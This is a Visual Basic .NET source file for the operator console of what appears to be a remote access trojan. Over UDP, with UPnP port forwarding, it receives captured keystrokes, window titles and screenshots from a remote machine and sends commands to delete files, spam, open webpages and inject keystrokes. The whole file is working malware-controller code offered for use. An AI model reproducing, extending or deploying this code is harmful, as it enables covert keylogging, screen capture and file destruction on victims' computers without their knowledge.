﻿Imports System.Net
Imports NATUPNPLib
Imports System.Net.Sockets
Imports System.Text
Imports System.Threading
Imports System.IO

Public Class Remote_Control
    Dim upnpnat As New UPnPNAT
    Dim mappings As IStaticPortMappingCollection = upnpnat.StaticPortMappingCollection

    Private udp As UdpClient
    Private udpscreen As UdpClient

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim t As New Thread(AddressOf listen)
        t.IsBackground = True
        t.Start()
        Me.cmbCommand.SelectedIndex = 0
    End Sub

    Private Sub listen()
        Try
            udp = New UdpClient(2455)
            udp.EnableBroadcast = True
            Try
                mappings.Add(2455, "UDP", 2455, Dns.GetHostAddresses(Dns.GetHostName()).ElementAt(2).ToString, True, "remote-control-listener")
                mappings.Add(2458, "UDP", 2458, Dns.GetHostAddresses(Dns.GetHostName()).ElementAt(2).ToString, True, "remote-control-listener-screen")
            Catch ex As Exception
                MsgBox(ex.Message)
            End Try

            Dim ep As New IPEndPoint(Dns.GetHostAddresses(Dns.GetHostName()).ElementAt(2), 2455)
            Do
                Dim b() As Byte = udp.Receive(ep)
                'If b.Length > 11 And System.Text.Encoding.UTF32.GetString(b).Substring(0, 11) = "scrn.start." Then
                '    Dim bytesize As Integer = Val(System.Text.Encoding.UTF32.GetString(b).Substring(11))
                '    Console.WriteLine(bytesize.ToString)
                '    Dim img(bytesize) As Byte
                '    Dim udpsend As New UdpClient
                '    udpsend.EnableBroadcast = True
                '    Dim epsend As New IPEndPoint(IPAddress.Parse(Me.txtIP.Text), 2457)
                '    Dim bsend() As Byte = Encoding.UTF32.GetBytes("greenlight")
                '    udpsend.Send(bsend, bsend.Length, epsend)
                '    udpsend.Close()
                '    Dim imgbyte() As Byte = udp.Receive(ep)
                '    Dim endbyte() As Byte = Encoding.UTF32.GetBytes("scrn.end")
                '    Dim ms As New MemoryStream
                '    While Not System.Text.Encoding.UTF32.GetString(imgbyte) = "scrn.end"
                '        ms.Write(imgbyte, 0, imgbyte.Length)
                '        udpsend = New UdpClient
                '        udpsend.EnableBroadcast = True
                '        udpsend.Ttl = 50
                '        udpsend.Send(bsend, bsend.Length, epsend)
                '        imgbyte = udp.Receive(ep)
                '    End While
                '    Me.Invoke(safeAddImg, ms)
                'Else
                Me.Invoke(safeAddText, System.Text.Encoding.UTF32.GetString(b))
                'End If
            Loop
        Catch ex As Exception
            MessageBox.Show(ex.Message)
            If udp IsNot Nothing Then udp.Close()
        End Try
    End Sub

    Private Delegate Sub delAddText(ByVal text As String)
    Private safeAddText As New delAddText(AddressOf AddText)
    Private Delegate Sub delAddImg()
    Private safeAddImg As New delAddImg(AddressOf AddImg)

    Private Sub AddText(ByVal text As String)
        'Console.WriteLine(text)
        Select Case text.Substring(0, text.IndexOf("."))
            Case "status"
                Me.txtStatus.BackColor = Color.Green
                Me.txtStatus.Text = text.Substring(text.IndexOf(".") + 1)
                If text.Substring(text.IndexOf(".") + 1, 5) = "Error" Then
                    Me.txtStatus.BackColor = Color.Red
                End If
            Case "window"
                Me.txtTitle.Text = text.Substring(text.IndexOf(".") + 1)
                Me.lblTitleRec.BackColor = Color.Green
                Me.tmrTitleRec.Stop()
                Me.tmrTitleRec.Start()
            Case "keys"
                Me.txtKeys.Text += text.Substring(text.IndexOf(".") + 1)
                Me.lblKeyRec.BackColor = Color.Green
                Me.tmrKeyRec.Stop()
                Me.tmrKeyRec.Start()
        End Select
    End Sub

    Private Sub AddImg()
        Dim epscreen As New IPEndPoint(Dns.GetHostAddresses(Dns.GetHostName()).ElementAt(2), 2458)
        udpscreen = New UdpClient(2458)
        udpscreen.EnableBroadcast = True
        Dim b() As Byte = udpscreen.Receive(epscreen)
        Dim bytesize As Integer = Val(System.Text.Encoding.UTF32.GetString(b).Substring(11))
        'Console.WriteLine(bytesize.ToString)
        Dim udpsend As New UdpClient
        udpsend.EnableBroadcast = True
        Dim epsend As New IPEndPoint(IPAddress.Parse(Me.txtIP.Text), 2457)
        Dim bsend() As Byte = Encoding.UTF32.GetBytes("greenlight")
        udpsend.Send(bsend, bsend.Length, epsend)
        Dim recstring As String
        Dim ms As New MemoryStream
        Do
            Dim imgbyte() As Byte = udpscreen.Receive(epscreen)
            recstring = System.Text.Encoding.UTF32.GetString(imgbyte)
            If recstring <> "scrn.end" Then
                ms.Write(imgbyte, 0, imgbyte.Length)
            End If
            Erase imgbyte
            udpsend.Send(bsend, bsend.Length, epsend)
        Loop While recstring <> "scrn.end"

        Dim bmp As Image = Image.FromStream(ms)
        Me.pnlScreenShot.BackgroundImage = bmp
        udpscreen.Close()
        udpsend.Close()
    End Sub

    Private Sub btnSend_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnSend.Click
        Me.cmbParameter.Focus()
        Dim udp As New UdpClient()
        udp.EnableBroadcast = True
        Call FindIP()
        Try
            Dim ep As New IPEndPoint(IPAddress.Parse(Me.txtIP.Text), 2456)
            Dim b() As Byte = Encoding.UTF32.GetBytes(Me.cmbCommand.SelectedItem.ToString & "." & Me.cmbParameter.Text)
            udp.Send(b, b.Length, ep)
            udp.Close()
        Catch ex As Exception
            MessageBox.Show(ex.Message)
        End Try
        Me.Timer1.Start()
        If Me.cmbCommand.SelectedItem.ToString = "screenshot" Then
            AddImg()
        End If
    End Sub

    Sub FindIP()
        If Me.txtIP.Text = Nothing Then
            Me.txtIP.Text = Dns.GetHostAddresses(Dns.GetHostName()).ElementAt(2).ToString
        Else
            Try
                Dim ips() As IPAddress = Dns.GetHostAddresses(Me.txtIP.Text)
                Me.txtIP.Text = ips(0).ToString
            Catch ex As Exception
                MessageBox.Show(ex.Message)
            End Try
        End If

    End Sub

    Private Sub btnFind_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnFind.Click
        Call FindIP()
    End Sub

    Private Sub cmbCommand_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmbCommand.SelectedIndexChanged
        Me.cmbParameter.Items.Clear()
        If Me.cmbCommand.SelectedItem.ToString = "spam" Or Me.cmbCommand.SelectedItem.ToString = "webpage" Then
            Me.lblParamter.Enabled = True
            Me.cmbParameter.Enabled = True
            Me.cmbParameter.DropDownStyle = ComboBoxStyle.DropDown
            Me.cmbParameter.Items.Add("*stop*")
        ElseIf Me.cmbCommand.SelectedItem.ToString = "delete" Then
            Me.lblParamter.Enabled = True
            Me.cmbParameter.Enabled = True
            Me.cmbParameter.DropDownStyle = ComboBoxStyle.DropDownList
            Me.cmbParameter.Items.Add("scan")
            Me.cmbParameter.Items.Add("run")
            Me.cmbParameter.Items.Add("*stop*")
            Me.cmbParameter.SelectedIndex = 0
        ElseIf Me.cmbCommand.SelectedItem.ToString = "windowtitle" Or Me.cmbCommand.SelectedItem.ToString = "keys" Or Me.cmbCommand.SelectedItem.ToString = "sendkeys" Then
            Me.lblParamter.Enabled = True
            Me.cmbParameter.Enabled = True
            Me.cmbParameter.DropDownStyle = ComboBoxStyle.DropDownList
            Me.cmbParameter.Items.Add("run")
            Me.cmbParameter.Items.Add("*stop*")
            Me.cmbParameter.SelectedIndex = 0
        ElseIf Me.cmbCommand.SelectedItem.ToString = "screenshot" Then
            Me.cmbParameter.Enabled = Me.lblParamter.Enabled = Me.cmbParameter.Enabled = False
            Me.cmbParameter.Text = Nothing
        Else
            Me.lblParamter.Enabled = Me.cmbParameter.Enabled = False
            Me.cmbParameter.Text = Nothing
        End If
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If Me.txtStatus.Text = Nothing Then
            Me.txtStatus.Text = "Error, no repsonse detected"
            Me.txtStatus.BackColor = Color.Red
        Else
            Me.Timer1.Stop()
            Me.txtStatus.Text = Nothing
            Me.txtStatus.BackColor = Control.DefaultBackColor
        End If
    End Sub

    Private Sub tmrTitleRec_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrTitleRec.Tick
        Me.lblTitleRec.BackColor = Control.DefaultBackColor
    End Sub

    Private Sub tmrKeyRec_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrKeyRec.Tick
        Me.lblKeyRec.BackColor = Control.DefaultBackColor
    End Sub

    Private Sub txtKeys_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles txtKeys.TextChanged
        If Me.txtKeys.TextLength > 45 Then
            Me.txtKeys.Text = Me.txtKeys.Text.ToString.Substring(1)
        End If
    End Sub

    Private Sub cmbParameter_KeyDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles cmbParameter.KeyDown
        If e.KeyValue = Keys.Enter Then
            Call btnSend_Click(sender, e)
        End If
    End Sub

    Private Sub TextBox1_TextChanged(sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
        If Not Me.TextBox1.Text = Nothing Then
            Dim udp As New UdpClient()
            udp.EnableBroadcast = True
            Call FindIP()
            Try
                Dim ep As New IPEndPoint(IPAddress.Parse(Me.txtIP.Text), 2456)
                Dim b() As Byte = Encoding.UTF32.GetBytes("keystosend." + Me.TextBox1.Text.ToString)
                udp.Send(b, b.Length, ep)
                udp.Close()
                Me.TextBox1.Text = Nothing
            Catch ex As Exception
                MessageBox.Show(ex.Message)
            End Try
        End If
    End Sub

    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
        Dim udp As New UdpClient()
        udp.EnableBroadcast = True
        Call FindIP()
        Try
            Dim ep As New IPEndPoint(IPAddress.Parse(Me.txtIP.Text), 2456)
            Dim b() As Byte = Encoding.UTF32.GetBytes("keystosend.*b")
            udp.Send(b, b.Length, ep)
            udp.Close()
            Me.TextBox1.Text = Nothing
        Catch ex As Exception
            MessageBox.Show(ex.Message)
        End Try
    End Sub

    Private Sub btnEnter_Click(sender As System.Object, e As System.EventArgs) Handles btnEnter.Click
        Dim udp As New UdpClient()
        udp.EnableBroadcast = True
        Call FindIP()
        Try
            Dim ep As New IPEndPoint(IPAddress.Parse(Me.txtIP.Text), 2456)
            Dim b() As Byte = Encoding.UTF32.GetBytes("keystosend.*e")
            udp.Send(b, b.Length, ep)
            udp.Close()
            Me.TextBox1.Text = Nothing
        Catch ex As Exception
            MessageBox.Show(ex.Message)
        End Try
    End Sub
End Class
